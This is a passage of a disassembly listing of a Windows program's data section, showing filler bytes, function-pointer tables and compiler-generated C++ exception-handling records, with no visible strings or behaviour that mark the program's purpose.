		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
		align 4
		dd 31Bh	dup(0)
off_43F000	dd offset sub_4017D0	; DATA XREF: sub_403720+3FEo
off_43F004	dd offset byte_437AC0	; DATA XREF: sub_403CC0+2o
off_43F008	dd offset off_402027	; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C	dd offset sub_40221B	; DATA XREF: ___:004070C5o
off_43F010	dd offset loc_40218F	; DATA XREF: sub_409BC0+4o
					; sub_409C20+Bo ...
off_43F014	dd offset loc_402045	; DATA XREF: sub_40AEA0+2o
					; sub_40AEF0+1Co
		dd offset byte_437AC0
		align 10h
off_43F020	dd offset loc_401AE1	; DATA XREF: ___:0040B1F8o
					; sub_40B250+1Eo
flt_43F024	dd 1.0			; DATA XREF: ___:0040B8A6r
off_43F028	dd offset sub_401A4B	; DATA XREF: sub_40F6D0+157o
					; sub_40FE70+1Do
		dd offset sub_402149
		dd 0
off_43F034	dd offset sub_401ACD	; DATA XREF: sub_40F6D0+142o
					; sub_40FE70+23o
off_43F038	dd offset loc_40115E	; DATA XREF: sub_411930+36o
					; sub_4119E0+1Do
		dd offset loc_402004
		dd 0
off_43F044	dd offset sub_4014C9	; DATA XREF: ___:0041325Do
					; sub_4132F0+1Fo
		dd offset sub_401D0C
		align 10h
off_43F050	dd offset sub_4019CE	; DATA XREF: sub_416D00+6o
					; sub_417EF0+8o
		dd offset sub_4020C7
		dd 0
off_43F05C	dd offset loc_401CAD	; DATA XREF: sub_416D60+6o
					; sub_417F20+8o
		dd offset sub_401230
		align 8
off_43F068	dd offset loc_401929	; DATA XREF: sub_416DC0o sub_41FCD0+8o
		dd offset sub_401CF3
		dd 0
off_43F074	dd offset sub_40111D	; DATA XREF: sub_416E10o
					; sub_4191B0+36o
off_43F078	dd offset loc_4014AB	; DATA XREF: sub_417CC0+68o
off_43F07C	dd offset sub_401064	; DATA XREF: sub_417D60+8Bo
off_43F080	dd offset sub_40138E	; DATA XREF: sub_417E30+74o
off_43F084	dd offset loc_401B81	; DATA XREF: sub_417F50+7Bo
off_43F088	dd offset loc_40204A	; DATA XREF: sub_418010+7Bo
off_43F08C	dd offset loc_401F3C	; DATA XREF: sub_4180D0+3Eo
off_43F090	dd offset sub_401FE1	; DATA XREF: sub_418150+8o
off_43F094	dd offset loc_401FF5	; DATA XREF: sub_418180+3Eo
off_43F098	dd offset sub_401E6A	; DATA XREF: sub_418200+3Eo
off_43F09C	dd offset loc_40100A	; DATA XREF: sub_418280+10o
off_43F0A0	dd offset loc_4010B4	; DATA XREF: sub_4182B0+4Bo
off_43F0A4	dd offset sub_401BB8	; DATA XREF: sub_418330+10o
off_43F0A8	dd offset sub_40171C	; DATA XREF: sub_418360+10o
off_43F0AC	dd offset sub_40161D	; DATA XREF: sub_418390+6Bo
dbl_43F0B0	dq -3.0517578125e-5	; DATA XREF: sub_4199C0+22r
		dd 0
off_43F0BC	dd offset sub_401B09	; DATA XREF: sub_41A110+Bo
					; sub_41A210+6o
off_43F0C0	dd offset sub_401E92	; DATA XREF: sub_41B0E0+Do sub_41B140o
off_43F0C4	dd offset sub_401406	; DATA XREF: ___:0041B4A2o
					; ___:0041B58Do
		dd offset sub_401686
		align 10h
off_43F0D0	dd offset loc_4019F6	; DATA XREF: sub_41D770+77o
					; sub_41D860+1Do
		dd offset sub_401C94
		dd 0
off_43F0DC	dd offset sub_4011FE	; DATA XREF: sub_427740+32o
		dd offset sub_401A78
		dd offset sub_401A50
		dd 0
off_43F0EC	dd offset loc_4016DB	; DATA XREF: sub_4277B0+6Ao
					; sub_427850+1Do
		dd offset sub_401A78
		dd offset byte_437AC0
		dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Ah,	40h, 0
		dd offset sub_401A78
		dd offset sub_401366
		dd 0
off_43F10C	dd offset sub_40182A	; DATA XREF: sub_4281A0+32o
		dd offset sub_401A78
		dd offset sub_401EB0
		dd 0
off_43F11C	dd offset sub_40224D	; DATA XREF: sub_428880+32o
		dd offset sub_401A78
		dd offset sub_401A14
		dd 0
off_43F12C	dd offset sub_401C3F	; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4015B9
		dd 0
off_43F13C	dd offset loc_402086	; DATA XREF: sub_429120+7Ao
					; sub_4291E0+1Do
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset byte_437AC0
		dd 0
off_43F14C	dd offset sub_4021D5	; DATA XREF: sub_429450+4Bo
					; sub_429540+10o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_401D3E
		dd 0
off_43F15C	dd offset loc_40112C	; DATA XREF: sub_42ACB0+32o
					; sub_42AD50+9o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40137A
		dd 0
off_43F16C	dd offset loc_401B18	; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4010AF
		dd 0
off_43F17C	dd offset sub_4017B2	; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40189D
		dd 0
off_43F18C	dd offset sub_4020EF	; DATA XREF: sub_42C4C0+27o
dword_43F190	dd 0				dd 8, 0
off_43F19C	dd offset byte_437AC0	; DATA XREF: sub_42C530+39o
off_43F1A0	dd offset sub_401F5F	; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_40134D
		align 10h
off_43F1B0	dd offset sub_401B36	; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_401537
		align 10h
		dd offset loc_4015FA
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4019F1
		align 10h
		dd offset dword_43F348
off_43F1D4	dd offset dword_437AF0+11h ; DATA XREF:	___:off_444898o
					; ___:off_4448B8o ...
		dd 0FFFFFFFFh, 437E9Ch,	437EB0h, 4Dh dup(0)
off_43F318	dd offset off_448C90	; DATA XREF: ___:0043F330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43F318
		dd 0
		db    0			; DATA XREF: ___:0043F358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43F330h
dword_43F348	dd 3 dup(0)			dd offset off_448C90
		dd offset unk_43F338
		dd 45h dup(0)
dword_43F470	dd 19930520h, 5, 43F490h, 5 dup(0)		dd 0FFFFFFFFh, 438E1Ch,	0
		dd offset dword_4382CC+0B24h
		dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0	dd 19930520h, 3Dh, 43F4E0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0
		dd offset loc_438E6B
		dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
		dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
		dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h,	0Dh, 438F1Eh, 0Eh
		dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h,	11h, 438F56h, 12h
		dd 438F64h, 13h, 438F72h, 14h, 438F80h,	15h, 438F8Eh, 16h
		dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h,	19h, 438FC6h, 1Ah
		dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h,	1Dh, 438FFEh, 1Eh
		dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h,	21h, 439036h, 22h
		dd 439044h, 23h, 439052h, 24h, 439060h,	25h, 43906Eh, 26h
		dd 43907Ch, 27h, 43908Ah, 28h, 439098h,	29h, 4390A6h, 2Ah
		dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h,	2Dh, 4390DEh, 2Eh
		dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h,	31h, 439116h, 32h
		dd 439124h, 33h, 439132h, 34h, 439140h,	35h, 43914Eh, 36h
		dd 43915Ch, 37h, 43916Ah, 38h, 439178h,	39h, 439186h, 3Ah
		dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700	dd 19930520h, 1, 43F720h, 5 dup(0)		dd 0FFFFFFFFh, 439290h,	2 dup(0)
dword_43F730	dd 19930520h, 2, 43F750h, 5 dup(0)		dd 0FFFFFFFFh, 4392B0h,	0
		dd offset loc_4392B8
		dd 2 dup(0)
dword_43F768	dd 19930520h, 2, 43F788h, 5 dup(0)		dd 0FFFFFFFFh, 4392E0h,	0
		dd offset loc_4392E8
		align 10h
dword_43F7A0	dd 19930520h, 1, 43F7C0h, 5 dup(0)		dd 0FFFFFFFFh, 439310h,	2 dup(0)
dword_43F7D0	dd 19930520h, 7, 43F7F0h, 5 dup(0)		dd 0FFFFFFFFh, 439330h,	0
		dd offset loc_439338
		dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh
		dd 2 dup(0)
dword_43F830	dd 19930520h, 7, 43F850h, 5 dup(0)		dd 0FFFFFFFFh, 4393B0h,	0
		dd offset loc_4393B8
		dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh
		dd 2 dup(0)
dword_43F890	dd 19930520h, 11h, 43F8B0h, 5 dup(0)		dd 0FFFFFFFFh, 439430h,	0FFFFFFFFh, 439438h, 0FFFFFFFFh
		dd 439440h, 0FFFFFFFFh,	439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh
		dd 439458h, 0FFFFFFFFh,	439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh
		dd 439470h, 0FFFFFFFFh,	439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh
		dd 439488h, 0FFFFFFFFh,	439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh
		dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h,	4 dup(0)
dword_43F948	dd 19930520h, 0Bh, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 4394F0h,	0
		dd offset loc_4394F8
		dd 0FFFFFFFFh, 439500h,	2, 439508h, 0FFFFFFFFh,	439510h
		dd 0FFFFFFFFh, 439518h,	0FFFFFFFFh, 439520h, 0FFFFFFFFh
		dd 439528h, 7, 439533h,	7, 43953Bh, 9, 439543h,	4 dup(0)
dword_43F9D0	dd 19930520h, 31h, 43F9F0h, 5 dup(0)		dd 0FFFFFFFFh, 439570h,	0
		dd offset loc_43957B
		dd 0
		dd offset loc_439586
		dd 0FFFFFFFFh, 439591h,	0FFFFFFFFh, 43959Ch, 4,	4395A7h
		dd 0FFFFFFFFh, 4395B2h,	6, 4395BDh, 6, 4395C8h,	8, 4395D3h
		dd 0FFFFFFFFh, 4395DEh,	0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah
		dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h,	0Ah, 439620h, 0FFFFFFFFh
		dd 43962Bh, 11h, 439636h, 11h, 439641h,	0FFFFFFFFh, 43964Ch
		dd 0FFFFFFFFh, 439657h,	15h, 439662h, 0FFFFFFFFh, 43966Dh
		dd 0FFFFFFFFh, 439678h,	18h, 439683h, 0FFFFFFFFh, 43968Eh
		dd 0FFFFFFFFh, 439699h,	0FFFFFFFFh, 4396A4h, 0FFFFFFFFh
		dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h,	1Dh, 4396D0h, 1Dh
		dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h,	22h, 4396FCh, 22h
		dd 439707h, 22h, 439712h, 22h, 43971Dh,	22h, 439728h, 22h
		dd 439733h, 22h, 43973Eh, 22h, 439749h,	22h, 439754h, 22h
		dd 43975Fh, 22h, 43976Ah, 22h, 439775h,	22h, 439780h, 0Ch dup(0)
dword_43FBA8	dd 19930520h, 2, 43FBC8h, 5 dup(0)		dd 0FFFFFFFFh, 439828h,	0
		dd offset loc_439820
		align 10h
dword_43FBE0	dd 19930520h, 2, 43FC00h, 5 dup(0)		dd 0FFFFFFFFh, 43986Bh,	0
		dd offset loc_439860
		dd 2 dup(0)
dword_43FC18	dd 19930520h, 3, 43FC38h, 5 dup(0)		dd 0FFFFFFFFh, 4398A0h,	0
		dd offset loc_4398AB
		dd 0
		dd offset loc_4398B6
		dd 2 dup(0)
dword_43FC58	dd 19930520h, 1, 43FC78h, 5 dup(0)		dd 0FFFFFFFFh, 4398E0h,	2 dup(0)
dword_43FC88	dd 19930520h, 1, 43FCA8h, 5 dup(0)		dd 0FFFFFFFFh, 439900h,	2 dup(0)
dword_43FCB8	dd 19930520h, 2, 43FCD8h, 5 dup(0)		dd 0FFFFFFFFh, 439920h,	0
		dd offset loc_439928
		align 10h
dword_43FCF0	dd 19930520h, 57h, 43FD10h, 5 dup(0)		dd 0FFFFFFFFh, 439940h,	0
		dd offset loc_43994B
		dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
		dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
		dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h,	0Dh, 4399CEh, 0Eh
		dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh,	11h, 4399FAh, 12h
		dd 439A05h, 13h, 439A10h, 14h, 439A1Bh,	15h, 439A26h, 16h
		dd 439A31h, 17h, 439A3Ch, 18h, 439A47h,	19h, 439A52h, 1Ah
		dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h,	1Dh, 439A7Eh, 1Eh
		dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh,	1Eh, 439AAAh, 1Eh
		dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh,	1Eh, 439AD6h, 1Eh
		dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h,	1Eh, 439AF7h, 1Eh
		dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh,	1Eh, 439B18h, 2Eh
		dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh,	31h, 439B39h, 1Eh
		dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh,	1Eh, 439B4Fh, 1Eh
		dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h,	1Eh, 439B70h, 3Ah
		dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h,	3Dh, 439B91h, 1Eh
		dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h,	1Eh, 439BA7h, 1Eh
		dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh,	1Eh, 439BC8h, 46h
		dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh,	49h, 439BE9h, 1Eh
		dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh,	1Eh, 439BFFh, 1Eh
		dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h,	1Eh, 439C20h, 52h
		dd 439C2Bh, 53h, 439C36h, 54h, 439C41h,	55h, 439C4Ch, 13h dup(0)
		dd offset off_444898
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	437AF0h, 2 dup(0)
		dd offset off_4448B8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F1Ah, 2 dup(0)
		dd offset off_4448E0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F20h, 0
dword_440070	dd 3, 440050h, 440030h,	440010h, 2 dup(0)dword_440088	dd 0							; ___:0040AA77o
		dd offset dword_437EC4+62h
		dd 0
		dd offset dword_440070
		align 10h
dword_4400A0	dd 19930520h, 1, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	2 dup(0)
dword_4400D0	dd 19930520h, 1, 4400F0h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	2 dup(0)
dword_440100	dd 19930520h, 3, 440120h, 5 dup(0)		dd 0FFFFFFFFh, 439D70h,	0
		dd offset loc_439D87
		dd 1, 439D8Fh, 2 dup(0)
dword_440140	dd 19930520h, 1, 440160h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440170	dd 19930520h, 2, 440190h, 1, 4401A0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4401B8h, 4	dup(0)
		dd offset sub_40AF32
		align 10h
dword_4401D0	dd 19930520h, 2, 4401F0h, 1, 440200h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 440218h, 4	dup(0)
		dd offset sub_40B0B1
		align 10h
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439DF0h,	0
		dd offset loc_439DFB
		dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278	dd 19930520h, 4, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439E40h,	0
		dd offset loc_439E4B
		dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0	dd 19930520h, 3, 4402E0h, 5 dup(0)		dd 0FFFFFFFFh, 439E90h,	0FFFFFFFFh, 439E98h, 0FFFFFFFFh
		dd 439EA0h, 2 dup(0)
dword_440300	dd 19930520h, 3, 440320h, 5 dup(0)		dd 0FFFFFFFFh, 439EC0h,	0
		dd offset loc_439EC8
		dd 1, 439ED0h, 2 dup(0)
dword_440340	dd 19930520h, 1, 440360h, 5 dup(0)		dd 0FFFFFFFFh, 439EF0h,	2 dup(0)
dword_440370	dd 19930520h, 4, 440390h, 5 dup(0)		dd 0FFFFFFFFh, 439F10h,	0FFFFFFFFh, 439F18h, 0FFFFFFFFh
		dd 439F20h, 2, 439F28h,	2 dup(0)
dword_4403B8	dd 19930520h, 1, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439F50h,	2 dup(0)
dword_4403E8	dd 19930520h, 4, 440408h, 5 dup(0)		dd 0FFFFFFFFh, 439F70h,	0
		dd offset loc_439F7B
		dd 0
		dd offset loc_439F86
		dd 2, 439F91h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439FC0h,	2 dup(0)
dword_440460	dd 19930520h, 5, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439FE0h,	0
		dd offset loc_439FEB
		dd 0
		dd offset loc_439FF6
		dd 0
		dd offset loc_43A001
		dd 0
		dd offset loc_43A00C
		align 10h
dword_4404B0	dd 19930520h, 2, 4404D0h, 5 dup(0)		dd 0FFFFFFFFh, 43A040h,	0
		dd offset loc_43A04B
		dd 2 dup(0)
dword_4404E8	dd 19930520h, 2, 440508h, 5 dup(0)		dd 0FFFFFFFFh, 43A070h,	0
		dd offset loc_43A07B
		align 10h
dword_440520	dd 19930520h, 4, 440540h, 5 dup(0)		dd 0FFFFFFFFh, 43A0A0h,	0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
		dd 43A0B0h, 0FFFFFFFFh,	43A0B8h, 2 dup(0)
dword_440568	dd 19930520h, 8, 440588h, 5 dup(0)		dd 0FFFFFFFFh, 43A0E0h,	0
		dd offset loc_43A0EB
		dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
		dd 1, 43A12Dh, 4 dup(0)
dword_4405D8	dd 19930520h, 0Dh, 4405F8h, 5 dup(0)		dd 0FFFFFFFFh, 43A160h,	0FFFFFFFFh, 43A16Bh, 1,	43A176h
		dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
		dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
		dd 43A1E4h, 4 dup(0)
dword_440670	dd 19930520h, 6, 440690h, 5 dup(0)		dd 0FFFFFFFFh, 43A220h,	0
		dd offset loc_43A228
		dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8	dd 19930520h, 6, 4406E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A270h,	0
		dd offset loc_43A278
